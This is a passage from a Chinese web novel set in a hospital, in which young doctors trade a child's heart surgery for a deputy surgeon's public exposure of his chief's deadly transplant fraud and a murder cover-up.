但这话也就只能背后说一说,他们这些年能过上好日子,还得靠暴发户。 没文化,好忽悠。 也是他们技术好,肝移植手术,一般的医院可做不了。 于波年纪轻一些,有什么心事都写在脸上,“主任,咱们要不要躲一躲?康宁医院那几个人是疯狗,会咬人。” 沙永昌瞪他一眼,“怕什么?” 于波不解地看着他。 他们做的这些事,去局子里待上一辈子都够了,谁不害怕? 沙永昌慢悠悠提醒道:“不是还有梁总吗?” “您是说……” “有麻烦,就如实告诉梁总,他会处理。你现在就去把该清理的资料都清掉,一点儿都不能留,不能再出现她的情况。” 提到“她”,于波面色苍白,恍惚间还能听到她坠落前的哭喊声。 她躲在窗前,拼命地说好话,却没人理会。 因为太过害怕,还不小心把手指咬破,结果还是直接被丢下去。 头先落地,当场死亡。 于波说:“我已经处理好了,就怕其他人……杜主任没问题吗?” 他们的小团伙,就杜凡最难相处,平时连聚餐都不参与,面对他们时总是冷着脸。 偏偏他还被提成副主任。 沙永昌意味深长地看着于波,“这会儿就别为了自己那点儿事费心了。” 于波的小心思被看穿,尴尬地笑笑。 沙永昌说:“杜主任可是我的左右手,没有他,很多事都办不成,我就算怀疑你,也不会怀疑他,懂吗?” * 南栀今天刚到医院就觉得不对劲,她去停车棚时留意到有陌生人盯着她看。 南栀默默走回办公室,和阮乔感慨,“有的坏人直接把坏写在脸上,真的能做成坏事吗?” 阮乔惊讶道:“不会吧?还有人连刑法都办不成?” 南栀说:“今天我不回家了,晚上去找我哥和陆随。” 阮乔走到窗户旁往下看,看了半天,也没看出南栀说的坏人。 南栀高深莫测道:“这是一种感觉,直觉。” 阮乔:“……” 临床直觉很重要,遇到坏人也得靠直觉吗?? 十点多,南栀处理好手头的事,和阮乔一起溜去心外找箫珵和陆随,他们今天都不去诊室,而且办公室没有其他人。 “已经确定了,杜凡的女儿是法洛四联症,一岁多就开始接受手术,手术后肺动脉发育差,经常住院,到现在身体都不好,不能做剧烈活动,前几天杜凡带女儿去过恩德的心外科,有几个护士看见了,说是有胸闷症状,具体是什么情况,他们不清楚。” 南栀感慨道:“小小年纪就遭了这么多罪。” 箫珵说:“没办法,我也看过几个法洛四联症的,现在的治疗手段太落后了,不过他女儿的情况属于比较严重的,也有很多孩子做完手术一直到十几年、二十几年后才开始反流。” 南栀问:“她是开始反流了?” 陆随点头,“对,而且情况应该挺严重。” 三人一同沉默。 阮乔道:“大佬们,能不能解释解释,你们说的法洛四联症就是法乐四联症吧?青紫型四联症?你们还没看过孩子,怎么判断反流的?” 南栀掏出小本本给阮乔写明白,“你看,法洛四联症包括肺 动脉狭窄、室间隔缺损、主动脉跨骑、右心室肥厚,其中最严重的是肺动脉狭窄,右心室流向肺部的血液受阻。现在的开刀手术比较粗糙,会简单剪开瓣膜,后续有很多麻烦,最普遍的情况就是肺动脉反流。” 陆随说:“我做过法洛四联症的手术,其他医院普遍是直接剪开,我和箫珵接手后会尽量找补片加宽血管,尽量保留瓣膜功能。至于恩德医院是如何处理的,就不知道了。” 阮乔问:“你们那边不是这样处理的?” 南栀道:“我们可以做介入或者开胸手术,介入的话只需要在大腿血管插细管到心脏,用球囊把狭窄的肺动脉瓣撑开。” 阮乔:“哦!” 介入,微创。 她相信南栀绝对不是胡编乱造的。 反正这话她是编不出来。 阮乔提议道:“如果你们缺钱,可以换个职业。” 箫珵:“?” 阮乔说:“写科幻小说啊!从大腿的血管开个口子就能给心脏治疗?这话谁能信,绝对科幻!” 箫珵:“……” 好像真能考虑考虑。 南栀把写好的内容交给阮乔,“如果是肺动脉反流,她恐怕还需要再开刀。” “从小就开过刀,现在的影像分辨率又低,血管是什么情况都不知道,恩德的心外能处理吗?” 恩德的优势不在心外科。 陆随和箫珵没来之前,恩德的心外也就和康宁一个水平,现在比康宁还要更差些。 南栀问:“如果是你们来开刀,你们有方案吗?” “只能换生物瓣,现在的抗凝药管理不够精准,不方便用机械瓣。” 南栀道:“早期生物瓣能坚持五到八年,容易钙化衰败,患儿年龄又小……不太好。” 阮乔看完南栀的笔记,积极提问:“为什么不好?” “她年龄小,小尺寸的人工瓣膜稀缺,而且随着年龄长大、身体发育,瓣膜的尺寸会不合适,可能还要多次开胸。” 阮乔惯例问道:“那你们后来……” “也可以微创或者开胸,用牛、猪心包生物瓣能坚持十到十五年,还在研究如何从短命替补变成终身。” 阮乔:“哇。” 这也能微创? 在南栀来以前,阮乔也上过两次手术台,都是实在没人把她薅上去的。 他们做儿科手术讲究减少手术时长,每次手术完都是血淋淋的。 如果能微创…… 阮乔问:“这真不是科幻小说里写的?” 箫珵:“……” 好像真能写写。 陆随说:“具体是什么情况,还得看到人,看到心电图,看到超声心动图才行,现在的问题是,杜凡不可能找我们来给他女儿看病,我们没有接近他的机会。” 南栀是知道陆随和箫珵很牛,但在杜凡眼里,他们只是后辈医生,肯定不如自家医院的心外主任厉害。 南栀若有所思,“如果是个更牛的人提出来给她做手术呢?” 陆随和箫珵对视。 虽然被瞧不上了很难过,但这好像是个办法? 南栀去祁念珍的办公室汇报情况,这回祁念珍没表示反对。 “如果能谈拢,当然好,但今天医院附近多出的那些人……” 南栀问:“医院什么时候能招正经保安?” 祁念珍反问:“是对大厨们不满吗?” 南栀:“……” 行吧,铁锅打人也挺疼的。 祁念珍笑道:“还在和医院方面申请,你应该知道,咱医院在硬件条件上其实还不错的,咱们临川是个小地方,能做CT的医院都很少。” 康宁医院的楼虽然破破烂烂,但各种设备还不错,也算把钱用到刀刃上,就差手艺好、经验足的医生了。 祁念珍还在找杜凡的熟人。 本来以为是很简单的事,没想到杜凡的性格是真不怎么样,上学时都没有关系亲近的。 南栀犹豫道:“是不是能去见见杜凡呢?” 祁念珍断然拒绝,“你们昨天已经和他们正面交锋,会出事。” 南栀道:“可他们已经知道了,我们躲着就好了呀。” 祁念珍犹豫片刻,问:“你有把握说服杜凡?你能确认杜凡就是你要找的人?” 南栀说:“在正常情景下见面不会引起怀疑,至于是不是他,还得验证。” 祁念珍不太明白,什么叫“正常情景”? 南栀笑容乖巧,“我能去吗?” * 杜凡刚从沙永昌的办公室出来,手里拿着一个厚信封。 于波迎面走来,他赶紧把信封揣进兜里。 于波瞥了杜凡一眼,不太想搭理他。 这位杜主任的实力实在一般,与其说是主任,倒更像是跟班,平时都是沙永昌说什么他做什么,像他这样把马屁拍到极致的真少见。 不过现在情况特殊,不能把杜凡惹急。 于波特意停下来,恭敬地打招呼,“杜主任今天来这么早?” 杜凡皱着眉点点头,不想和于波过多寒暄。 于波却笑意盈盈地跟上他,“小妹最近怎么样,听说又发病?” 他看了一眼杜凡的口袋,“我刚进医院时你是杜哥,现在大小是个主任,工资应该够用?” 杜凡停下来。 他不喜欢说话,目光总是阴沉的,深处藏了许多东西。 他看于波的目光是仇视的。 于波的心情却因为杜凡的目光而变好,他语调格外轻松,“行了,你明白就行,我只是传达沙主任的意思,走了。” 他要让杜凡知道,他和沙主任才更亲近。 杜凡看向主任办公室。 五分钟前,里面的人还拉着他嘘寒问暖。 半晌,杜凡才收回目光,捂紧口袋走了。 今天上午有杜凡的门诊。 他虽然是副主任,但所有人都默认是掺了水的,更有甚者,曾在他面前直言他不过是拍沙主任的马屁拍得太好。 杜凡对这些声音已经麻木,他是医院里排门诊班最多的副主任医师,他的号一向是最多的。 叫了两个小时的号,杜凡几乎已经麻木,看今天的排队人数,他可能吃不上午饭。 助手继续叫人,一个年轻女人走进来。 女人的打扮有些奇怪,波浪长发,但是没化妆,在杜凡的印象中,喜欢烫发的女孩是比较喜欢打扮的,这女孩戴着口罩,过于朴素。 杜凡接过病历本低头写信息,“什么症状?” 女人说:“法洛四联症。” 杜凡道:“去心外科,我给科主任打个电话,直接过去,别排了。” 他说着便把病历本递回去,女人却没有接,反而一直看着杜凡。 杜凡不解地看着她,越看越眼熟。 “你是……” 南栀笑眯眯道:“杜主任您好,法洛四联症,您认为哪里看得最好?” 杜凡心中一惊,来者不善。 他照例垮着脸说:“自然是首都。” “如果钱不够去首都看病呢?在临川市,哪家医院最好。” 杜凡道:“恩德医院的心外科最好。” 南栀说:“可恩德医院的心外科主要给成人开刀,您也是医生,肯定明白成人和儿童是不同的。” 杜凡警惕道:“你到底想说什么?” 南栀道:“我就不拐弯抹角了。” 这是陆随提醒她的,不要委婉,直接说。 南栀其实挺不理解,当然要委婉地套话啦,直接说多不好。 但箫珵难得没有反对陆随。 南栀:“……” 她的委婉话就这般不中听吗! “杜主任上有老下有小,没有经济实力带着孩子去首都治病,但又不忍心放弃女儿,所以要在临川市给女儿提供最好的治疗。在临川市,哪家医院是最好的?” 杜凡不语。 南栀说:“您应该关注儿外杂志,其实康宁医院的心外实力是在的。” 杜凡道:“最多和恩德医院一样,我为什么不留在自家医院,要跑去康宁。” “当然有区别,我才会来建议,”南栀将事先写在纸上的电话号码推过去,“这是陆教授家的电话。” 杜凡怔住。 “陆教授涉猎广,做过的手术多,而且很多手术都是跨科室的,没办法,她年轻时,有小儿外科就不错了,分得没那么细,不过先心病的手术,她是做过不少的。” 杜凡舔舔下唇,擦了下眼睛才拿起纸条。 “陆教授的孙子陆随人在康宁心外,他虽然只是主治医生,但你应该知道他是首都医学院毕业的,那是全国最好的医科大学,而且他的成绩一直是第一名。陆教授主刀,陆随也会在,您看呢?” 杜凡神情恍惚。 他盯着号码看了许久,将纸条还给南栀,“谢谢,不需要,主任已经提出手术方案。” “治疗肺动脉反流的方案?” 杜凡惊讶,“你怎么……” 南栀:“经验之谈。” 她取出陆随准备好的方案,“这是陆医生和萧医生做的方案,已经让陆教授看过,没问题。陆教授在托人联系小尺寸的人工瓣膜,恩德医院也有准备吗?” 杜凡的心怦怦直跳。 他虽然不是儿科医生,但也听说过陆嘉述。 全国数一数二的儿科医生,诱惑实在太大。 杜凡拿起手术方案,边看边说:“我女儿的情况很不好,有严重的血管缺损,当初是主任给她开刀的,她这些年的检查都是找主任做的,没有人比主任更合适。” 南栀反应极快,“如果有瓣膜病变、血管缺损,可以考虑同种瓣外管道,陆教授主刀,可以做。” 杜凡已经顺着南栀的话在说,“主任评估过,认为换生物瓣更好。” “具体还要看患儿的情况,”南栀说,“陆医生列举了法洛四联症手术后各种情况的治疗方案,但毕竟我们没见过孩子,也没看到她的影响,只能做猜测,如果能看到她的检查结果,我们能提供更准备的方案。” 杜凡再次看向陆嘉述的电话号码。 陆嘉述给看病,诱惑太大。 杜凡看向南栀,“你是?” “康宁医院儿科的南栀。” 杜凡愣了一下,“我听说过你。” 因为女儿的病,杜凡很关注儿科,康宁医院的儿科和恩德医院闹了好几次,早就在医院内部出名。 至于南栀就更不用说,恩德医院两次疏忽,都得靠人家擦屁股。 而且她还跟着陆嘉述学习了一段时间,听说是陆嘉述主动带着她上台做手术。 南栀提出更合理的方案,“我理解你的顾虑,这样吧,我们可以偷偷给孩子做检查,我会将检查结果和手术方案交给你,如果你认为恩德医院的方案更好,就留下,而且我保证不告诉任何,如果我们医院更有效,就去康宁做手术。” 这似乎是很完美的方案,既能找大教授给女儿看病,还留下一条退路。 杜凡没法不心动。 但心动过后,他很快冷静,“你为什么要帮我?我能做什么?” 南栀笑笑,“你看我不眼熟吗?” 杜凡茫然地摇头。 南栀摘掉假发。 杜凡:“你是昨天的……” 南栀点头,开了个幽默的玩笑,“您放心,我肯定不是因为您昨天不帮忙来报复的。” 杜凡:“……” 他裹紧衣服。 南栀说:“实不相瞒,我是为了晓凡来的。” 杜凡瞳孔在瞬间放大。 他将手收回,完全不是刚刚配合的状态,“你想干什么?!” 南栀道:“前几天我们儿科来了一个患者,很奇怪,他是在恩德医院做的检查,恩德医院心外的结论是他需要动手术,我们检查后发现他的情况不严重,暂时不需要动手术。他的母亲说,是恩德医院的医生提醒她去其他医院看看。” 杜凡目光乱飘,“我是腹部外科的医生,和我无关。” “不是您吗?”南栀笑起来,“您的女儿从小就开刀,您看到其他孩子开刀动手术,心里不好受吧?我相信您一定懂我的话,我也不擅长说谎,我在晓凡的遗物里发现她遗留的话,她让我来找您。当初晓凡调查过沙主任,她也和韦医生提过手里有一些证据,但坠楼后这些证据就不在了。她让我来找您,这证据是不是和您有关?” 杜凡匆匆收拾东西,“我不知道,你找错人了,拿着你的方案赶紧离开。” 南栀笑得更加乖巧,“杜主任,我们提供的方案肯定是最好的,毕竟我都没直接拿这事去沙主任那边呀。” “你威胁我?!” “不不,当然不是,”南栀真诚道,“其实我可以直接把屠秋柳带来指认你的,毕竟他们现在还在找薛宇,屠秋柳很仗义,没提您的姓名,但为了孩子,她肯定不会冒险的。我还能带着晓凡的遗言去找沙主任,就算沙主任表面不信,心里肯定也有疙瘩,对您都不好。” 杜凡:“……” 这还不是威胁?! 南栀说:“但是!正义的我!愿意在孩子安全的前提下与您合作,您多考虑,这件事我们最终肯定会报警的。” 南栀努力表达自己的“正义”。 杜凡:“……” 这笑容多少有点儿“小人得志”。 杜凡问:“你凭什么让我相信你?” 南栀:“晓凡真的把证据放在你这里啦?” 杜凡:“……” 不仅是“小人得志”,还很阴险! 南栀爽快道:“您是医生,看了手术方案就明白了,我都不用多解释,资金方面呢,我们也可以尽量省钱,其实我们医院有关注到因为没钱没法治病的群众,这些年也一直在想办法筹钱,唉,钱都用在刀刃上,肯定没法像恩德一样重新装修大楼啦。” 杜凡:“……” “正义”地贬低同行。 杜凡沉吟片刻,问:“你能确保这事不让恩德的人知道?” 南栀说:“我们院长找心腹做检查,绝对不会让不相干的人知道。” 杜凡还是忧心,“可我听说,你们医院有人和这边联系密切。” 还真有这么一号人。 南栀道:“我们也发现了,所以这次过来,我都是乔装打扮避人耳目的,这些我们都会考虑,你这两天也不要单独行动,家人的话……你的住处安全吗?” 杜凡点头,“旁边就是派出所,不过那些人想做成的事,恐怕……” 尤其是梁总,因为小松的事已经快疯了。 杜凡丝毫不怀疑,如果杀一个人能给小松续命一年,梁总能杀够一百个。 他们有钱人,从来不管底层人的死活。 杜凡说:“去办吧,把方案拿来,希望我们能够合作。我这些年……也够了。” * 心外办公室,郤文曜和闫民怀到现在都没能进门。 “陆哥和萧哥把我们赶出来了,好像是儿科的阮乔在,咱们办公室以后是不是可以改成儿科的了?” 郤文曜笑道:“应该是儿科的心外科。” 闫民怀嘿嘿笑道:“那咱主任岂不是没事做了?” 郤文曜正要说话,余光瞄到熟悉的身影,立刻闭嘴。 闫民怀说:“其实咱主任人挺好的,但人虽然好,年纪却大了,儿科的盛医生那可真是年轻有为,长得还漂亮,而且事少,不搞那些下三烂的招数,如果是盛医生……” 心外主任站在闫民怀身后问:“会怎样?” “如果盛医生是我们的主任,那该多好,我上班都有积极性,是吧?!” 闫民怀笑容满面地回头。 心外主任笑得格外慈祥。 郤文曜退到三米之外。 闫民怀:“……主任!!” “可惜了,我年纪大了,还不如人家好看,在这里占着茅坑不拉屎,耽误你了。”心外主任笑眯眯道,“我记得你前年上班迟到过三天,去,写个检讨反思反思。” 闫民怀:“……” 主任说:“不少于一万字。” “三千行不?” “一万三。” “五千!五千也行!” “一万五。” “……” 教训完闫民怀,主任看向办公室屋门。 说实在的,他也有自己的科室变成儿科的感觉。 尤其是陆随和箫珵那俩兔崽子,天天往儿科跑,魂儿都被勾走了。 陆随就算了,人家好歹和儿科的人订婚了,箫珵是什么情况?! 难道是他在论文上署名太多,这两人翅膀也硬了,打算单飞? 这可不行,陆随可帮了他不少。 主任示意郤文曜开门。 郤文曜会意,猛地踹开门。 几人走进办公室,只看到阮乔和箫珵不知在说些什么。 阮乔拿着笔记本起身,“主任好,我们科室来了个先心病患儿,我来请教萧医生。” 主任看向闫民怀。 闫民怀揉了揉眼睛,惊悚道:“刚刚南栀也过来了啊!” “南栀啊,她已经回去了,”阮乔笑得很乖巧,“我基础比较差,就麻烦萧医生多给我讲讲,萧医生 ,谢谢哦。” 箫珵说:“本来就该会诊,合作愉快。” 两人的对话十分官方。 主任:“?” 这到底是什么情况? 儿科有一个堆杂物的小房间,平时没人来。 陆嘉述就被塞在小房间里。 “她的血管情况太糟糕,当初肯定就补了室间隔缺损,然后直接把瓣膜剪开,剪的口子太大,手术做得太糙,这是谁做的手术?” 南栀说:“应该是恩德的心外主任。” 陆嘉述撇嘴,“这水平也能当主任,恩德完了。” 陆随催道:“您赶紧说,这地方太小,我整理好赶紧给杜凡送过去。” 陆嘉述瞪过来,“我是在给你帮忙!” 陆随:“……” 她还好意思说。 陆随最先找她帮忙时,她听了几句就不理他了,说什么手里有重要的工作不能耽误。 结果一说南栀还在等结果,她就一口应下。 不能耽误的工作呢?! 陆嘉述说:“综合评估,这孩子的情况太复杂,不能只放人工瓣膜,就像南栀说的,得做同种瓣外管道。” 同种瓣外管道,用人类捐献者的组织做一段管道,代替病变的血管。 南栀问:“他们的医生只说放人工瓣膜,为什么结论不一样。” “傻孩子。”陆嘉述目光慈祥,看起来要说很有意义的话。 南栀用心记好。 陆嘉述说:“他们水平低呗。” 南栀:“……” “这手术我做过,不能说很轻松,但肯定比他们强一万倍,把人带来,我现在就能给她开胸。” 陆随赶紧安抚,“您别急,不合适。” 陆嘉述道:“我急?我可不着急?做了手术也不是万事大吉,这玩意才能坚持几年?这孩子多大了?日后开刀的日子还多着,除非医疗技术突飞猛进。” 说到后半句话,陆嘉述目光晦暗。 陆随道:“您放心,肯定能突飞猛进。” “是吗?”陆嘉述沉声道,“恐怕是你不知道我们国家怎么熬过来的……算了,不说了。把人带过来做术前检查,她是孩子,注意**平衡,尽快安排手术。” 南栀拿到陆随写好的方案,立刻去见杜凡,还和上次一样乔装打扮,守在医院门口的人都不知道她已经偷偷溜出去过一次。 陆随在附近等她,搞得像是特务碰头。 杜凡只用两分钟便看完方案。 他看向南栀,“陆教授的意思?” 南栀说:“这种事我不能骗你。” 杜凡问:“你认为呢?这种方案可行吗?” 南栀点头。 杜凡把方案还给南栀,“手术最快能安排在哪天?” 南栀内心激动,喜笑颜开,“有祁院长支持,只要她的身体指标符合手术要求,随时。” “那就这样吧,”杜凡说,“多一事不如少一事,你要的东西我给你。” 南栀狂点头。 点头点累了,又有点儿不好意思,“还没动手术呢,你就把东西交给我?看起来像是我在占便宜,不太好。这样吧,我带你去见陆教授?陆教授的身份地位,肯定不会在这种事上骗你。” 杜凡原本也是这样想的,但看到南栀后,想法又变了。 她看起来实在说不来谎话。 杜凡道:“人交给你们,我家人的安全你们要保证,我现在……就这么做吧。” * 梁总又给沙永昌打了好几个电话,催他尽快动手术。 肝移植嘛,配型要求低,现在做手术也行,但如果真答应了,显得他先前在骗人。 沙永昌先是说难处,最后“勉为其难”道:“薛宇实在不同意就算了,我给小松安排手术,但是预后可能不太好,您要做好心理准备。” 挂了梁总的电话,沙永昌把于波叫进来。 “去安排小松的手术。” 于波问:“不等薛宇了?” 沙永昌说:“这手术到底是什么情况,你不清楚?人家都拿枪抵着你了,你还非得去杀人?赶紧把手术安排上,这次赚不到就算了,以后再说。” 于波点头。 沙永昌问:“康宁医院那边安排好了吗?” “梁总说是派人去了,把康宁医院看得死死的,那几个好事的今天都没出来过。” “那就好,这几个医生实在麻烦,尤其是姓陆的。” 陆教授的孙子,不好下手。 这陆教授和其他高风亮节的教授不一样,很会搞事情。 她的孩子基本在各大医院,但也有其他领域的,在其他领域的人也都是人中龙凤,不好惹。 听说陆随也被卷进来时,沙永昌是有担忧的,不过还好梁总都能处理。 于波说:“主任,我这眼皮总是跳,实在没法放心,我们真的不用躲一躲?” 沙永昌冷笑,“到底是年纪轻。” 就是沉不住气。 于波只好闭上嘴。 楼下传来喧嚣声。 沙永昌掀起窗帘,“有人闹事?” 于波走过来,“不太清楚,刚才没人。” 医院门口聚集了大量人。 那些人不是患者,有拿纸笔的,有举着笨重的摄像机的,有…… 杜凡站在人群之中,手中拿着一沓材料,“各位,我是恩德医院腹部外科的杜凡,今天,我实名举报腹部外科主任沙永昌以及他的手术团队……” “草菅人命!” 第72章 第72章大啦 “恩德医院真是牛,报纸上报道了好几天,把院长都牵扯进来了,有几个院长、主任拿人家的钱办事,我说他们怎么每个人都有车开,光靠死工资能买得起车?!那一辆车十几万二十万!咱院长还蹬自行车上班呢。” 恩德医院的消息连续占据好几日的头版头条,对于临川市来说都是丑闻,市里已经派人去恩德医院进行调查,除了肝移植手术过程中的违规操作,还查出许多其他问题。 就连正院长都牵扯其中。 在这风口浪尖上,金瑞还跟着南栀几人跑到康宁医院的食堂吃饭。 阮乔佩服道:“还是我们金主任心理素质强,自家医院都快散伙了,还有心情跑到其他医院吃饭。” 金瑞表扬道:“你们医院食堂的口味不错,大厨比我们医院的强。” “嗐,我们大厨打架也是一把好手。” 南栀比较关心杜凡的情况。 金瑞说:“他直接找报社和电视台的人到医院,当着他们的面公布了所有证据,当时医院门口还有很多患者,他是一点儿余地都没留,沙主任想找人捂嘴都来不及。” 阮乔问:“他也会被判刑吗?” “躲不开,”金瑞道,“每一台手术他都有参与,虽然不是主谋,但也是手术团队的重要成员,那个器械护士好像确实不知道真相,只以为是正常的肝移植手术,但杜凡肯定是要被判。” “算不算戴罪立功?” “这不叫戴罪立功,这是主动检举揭发,情况肯定比沙主任好得多,移交法院后,法官也会考虑到,不管怎么说,他都是立功了。” 南栀不知道杜凡究竟参与多少,其实她考虑过是不是给杜凡留退路,比如,如果杜凡参与较少,她就自己把证据交给警察,她也没想到杜凡会直接找电视台和报社。 临川市几乎每户人家都要买一份当天的日报,他是直接把事情完全闹大了。 南栀问:“他被抓走,他的家人怎么办?” “这谁知道?他这些年收了沙主任不少钱,听说沙主任和警方交代,刚给他一万块钱,想让他闭嘴。” 阮乔惊讶,“一万?!” 只是想让杜凡闭嘴,就给了一万块,从前还不知道给了多少。 金瑞说:“杜凡其实还是拿到不少的,基本能覆盖他女儿的治疗费用,还有养孩子、照顾老人,所以真被判刑,也是应该的。人性说起来真的很复杂,杜凡没少助纣为虐,但他这几天停诊,好多病人都在找他,说他看病耐心 ,讲解得很清楚,有很多病人都是冲着他去的。” 以前在医院提到杜凡,大家总会想到他是一个能力一般、靠拍马屁上位的人。 没人留意到 南栀问:“可以去看看他吗?” “估计不行,他家人都见不到他,更别说是我们,现在还在调查阶段。” 话音刚落,陆随和箫珵二人端着餐盘走过来,箫珵道:“警察来咱们医院了,祁院长让我通知你,警察要你去报到。” 金瑞:“我没收钱啊?!” 箫珵把南栀揪起来,“是她。” 南栀来不及吃完饭,擦干净嘴,把餐盘往箫珵的方向一推就往外跑。 箫珵和陆随坐下来,陆随道:“这似乎是祁院长交给我的工作。” “你?”箫珵说,“你不是和南栀在置气吗?郁格?” 陆随:“……” 他尽量保持冷静,“听不懂你在说什么,郁格的姐姐是我的病人。” 阮乔道:“这样啊,那我可以给南栀介绍对象喽?” 箫珵附和道:“得先让我把关。” “成,就神外的赵医生吧,看着挺好看的。” 箫珵说:“带来让我看看。” 陆随:“……” 他皱眉道:“好看能当饭吃?小白脸最讨厌。” 阮乔:“你讨厌自己啊?” 陆随:“……” 他哪里像小白脸? “我们赵医生可不是一般的小白脸,人家也挺有本事的,而且我们栀栀想考虑儿科神外,这不正好?” 陆随的眉头越来越紧,“神外有什么好的,怎么不考虑心外?” 阮乔笑嘻嘻道:“不喜欢呗,也不知道是不喜欢心外呢,还是不喜欢心外的人呢。” 陆随:“……” 陆随拿着筷子一动不动。 金瑞顺手捡走他餐盘里的炸鱼段,“你们医院的厨子不错。” 箫珵说:“我看赵医生也不错,和南栀的共同话题多,这样吧,今天下午我过去看看。” “喂,”陆随敲了下箫珵的汤碗,“你允许她谈恋爱?” “当然了,”箫珵说,“我还允许她订婚呢。” 金瑞淡定地挑鱼刺,“现在没有流氓罪了,多谈几个挺好,她才多大,早早就订婚,可能都不知道什么类型更适合自己。” 陆随:“……” 他好像被针对了。 阮乔靠过来,“所以啊,有的人得说实话,得有行动,就算行动了,都不一定有收获,还等什么?” 陆随:“……你说我?” 阮乔叹气,打直球道:“你阴阳怪气那么久,难道不是吃醋了?” 金瑞夹走陆随还没动的玉米,“我看也像是。” 陆随辩解,“我只是,我是……我是被她说不行才不高兴。” 箫珵:“你不行?” 阮乔:“不行?” 金瑞道:“不会啊,你挑的鱼段挺好吃啊。” 陆随:“……” 陆随脸颊、耳朵,就连手背都红得彻底。心脏“扑通扑通”加速跳动,这心率都值得拿听诊器好好听听。 他沉默良久,放弃抵抗,“好吧,你们还想说什么?” 阮乔道:“嘴上抹毒的人谈不上恋爱。” 箫珵:“有的时候真想让你闭嘴。” 陆随:“……” 也行,打直球呗。 他说:“我吃完饭就……” 陆随低头,看到自己空空如也的餐盘。 他看向金瑞。 金瑞打了个饱嗝:“好吃!” * 沙永昌几人很厉害,经侦和刑侦为了他们齐聚一堂,争取为他们戴上最完美的帽子。 案件还在调查阶段,按理说是不能见人,但杜凡强烈要求见南栀一面。 警方讨论过后,允许二人见面。 杜凡被关起来好几日,头发没梳,胡子也没刮,看起来很潦草。 他手腕处有手铐,一直藏在桌下。 南栀坐在他对面,两边都有警察。 南栀说:“我没想到你会找报社。” 杜凡神态平静,他笑笑,“我忍了这么多年,好不容易要做一件痛快事,当然要做彻底。” 南栀不太理解。 杜凡说:“举报的时候,还有摄像机对着我,这可真是一辈子没见过的大场面了,我还听到患者说我是好医生,他们佩服我、崇拜我……我这一辈子,还能听到这话,那是上辈子修来的福气。” 南栀不知该如何回答。 杜凡当然不是好医生,沙永昌做的事,每一件都少不了杜凡,他看起来只是做些小事,但至关重要。 但他好像也是好医生,他平等地对待每一个患者,停诊这些天,每日都有患者去找他。 南栀问:“是晓凡把资料交给你的吗?她信任你。” 杜凡笑笑,“不是信任,是没办法。” 葛晓凡不是腹部外科的人,她会发现沙永昌几人的勾当,完全是因为关注韦初雪的父亲。 他们的警惕性低,被葛晓凡找到不少证据,譬如各种配型结果和检查报告。 葛晓凡还不敢肯定他们真的做了什么,于是将此事告诉韦初雪,同时她也发现,杜凡似乎是比较好说话的。 拿检查报告时,杜凡看到她了,但没有上报。 葛晓凡很不安,她知道自己面对的是什么人。 当时的她不过是刚毕业的学生,没有背景,无依无靠。 会告诉韦初雪,也是因为太害怕,韦家的人脉比她广,她想求助。 但当晚葛晓凡就发现,似乎有人想对她不利,她不知该将此事对谁说,但从没想过把证据交出去。 那些人也没找葛晓凡要过什么东西,只是一直在观察她。 葛晓凡意识到杜凡没有将此事说出去,连夜找到他,希望他能站出来。 寂静的夜晚,杜凡冲她大吼,“沙主任不会做这种事,你不要污蔑他!” 葛晓凡很绝望。 “第二天她就跳楼了,说她是跳楼,谁能相信?反正我是不信,这只是他们处理掉她的方法。” 南栀问:“报警了吗?” “报了,但是他们做事很小心,警察也没查出来什么,以自杀结案。” 自己跳楼和被他人推下楼留下的痕迹完全不同,最直观的便是落点位置。 但看看公安局、派出所现在的设备,有纰漏也不奇怪。 “你是从哪里找到证据的?” 杜凡说:“她坠楼时,我就在楼下,亲眼看着她摔死。我也不知道当时怎么想的,直接去了普外的更衣室,更衣室里没人,我在她的柜子里找到那些检查报告,收了起来。” 收起来就是麻烦,很麻烦,但杜凡也不知道为什么,还是藏了起来。 可以确定的是,他当时绝对没有举报沙永昌的心,但也没把证据销毁。 杜凡继续解释,“沙永昌派人去找过,什么都没找到,他以为她没查到什么,事情就算过去了。后来这些东西一直是我拿着,搬家也没丢。” 南栀搞不懂他究竟想不想举报。 杜凡自己也不懂。 如果没有南栀,他会把证据藏一辈子。 杜凡说:“有不知道真相的人说我是英雄,我 肯定不是,我连人都不是。我为什么举报?不只是因为想让陆教授给孩子开刀,我……我是在逃避,我不想再承担家里的责任,我想躲起来。葛晓凡出事,我选择躲起来,现在也是一样的选择。” 他身体前倾,“我女儿的手术结束后,一定要来告诉我结果,可以吗?” * 手术室内,陆嘉述主刀,南栀做一助。 确认患者信息后,手术开始。 陆随站在手术室外观看。 阮乔道:“你奶奶做手术,你不进去看吗?” 陆随不想说话。 事实上他是提出给陆嘉述做助手的,他虽然主刀过类似的手术,但对这方面的研究其实不算多。 但陆嘉述很坚决,助手必须是南栀。 有的时候陆随都怀疑他和南栀也被抱错了。 阮乔也想不明白,“为什么陆教授更关注南栀呢?这就是天才的魅力?不过就算南栀是天才,陆医生你也是啊,当然还是比我们栀栀差很多的,不过差很多的天才也是天才啊!” 陆随:“你们儿科都这样夸人吗?” 不是太中听啊。 “嗐,”阮乔说,“我们儿科比较擅长打人。” 一手拎起一个小朋友。 有陆嘉述掌控全局,手术顺利结束。 患儿被推走,几人走出手术室,阮乔带头鼓掌。 陆嘉述摇头道:“这孩子命不好,第一次开胸手术的手艺太粗糙,以后少不了继续开刀,她的身体能经受几次开胸手术还不知道,想活到七八十岁,那是难了。” 说活到七八十岁都是挑好听的话说,开胸手术对身体的损伤很大,她还有其他问题,能长大就很好。 陆嘉述苦笑,“没想到我们以前面对的问题,现在也没法解决,医疗还是太落后啊。” 一个科室的主任,简单粗暴地剪开瓣膜,还剪过头了。 恩德医院可是临川市最好的医院,还是科室主任主刀,更别说其他人。 南栀看向陆嘉述,她好像还有其他在意的事情。 接下来的调查要交给警方,韦利作为中间人,也被警方带走。 不过他刚被带去就犯病了,现在人在医院治病,有警察看守,不能随意接近。 韦初雪原本已经买好去首都的车票,现在也耽误了。 她的病已经拖了很久,不能再耽误。 南栀下班后抽时间去看她,想劝韦初雪尽快去首都。 “警察在重新调查葛晓凡的死因了,于波交代动手的人是心外的主任,是沙永昌指使,你的心愿已经了了,还有不能走的理由吗?” 韦初雪难以启齿。 南栀问:“是因为韦利?” 韦初雪不知该怎么和南栀说,“他对我真的很好。” 以前韦初雪能坚定地把他当成敌人,现在事情被揭露,韦利要等待法律的制裁,他身体状况还不好,韦初雪总想到他对自己的好。 对韦初雪来说,这是对葛晓凡的背叛,她寝食难安。 